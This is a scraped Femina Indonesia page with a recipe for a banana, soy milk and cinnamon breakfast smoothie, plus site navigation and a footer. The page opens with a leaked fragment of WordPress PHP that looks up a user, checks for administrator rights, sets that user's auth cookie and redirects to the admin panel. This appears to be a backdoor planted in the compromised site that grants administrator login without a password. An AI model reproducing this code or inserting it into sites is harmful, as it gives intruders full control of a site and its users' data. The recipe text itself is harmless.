user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Health & Diet
Carbo Fighter

10 Jul 2013


Bahan :
  • 150 ml susu kedelai rendah lemak
  • 75 g pisang cavendish (1/2 buah)
  • 1 sdt kayu manis bubuk

Cara membuat:
  1. Proses semua bahan dalam blender hingga halus. Sajikan.

Untuk 1 porsi.
Advertisement
Kalori per porsi: 115 Kkal

Jika Anda tipe orang yang harus sarapan kenyang untuk bisa beraktivitas, jangan buru-buru membuat nasi goreng atau memanggil tukang bubur ayam. Pisang adalah alternatif sumber energi karbohidrat kompleks yang baik, dengan serat lebih banyak dibandingkan nasi. Jadi, Anda tidak akan cepat lapar. Supaya lebih nikmat dan mengenyangkan, padukan dengan susu kedelai yang rendah lemak. Taburan kayu manis bermanfaat untuk menstabilkan gula darah, serta membuat smoothie jadi lebih harum dan tidak membuat enek. (PRIMARITA S. SMITA)




 


MORE ARTICLE
Clean Cut Emporio Armani
Aksi Sosial SOPHIE

More Videos
polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda? 

View Result
event
recommended
most viewed
about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

subscribe
(021) 250 333 28
langganan@pranagroup.id
© 2026 Femina Indonesia, Femina Group. All Right Reserved. | By fdvs team.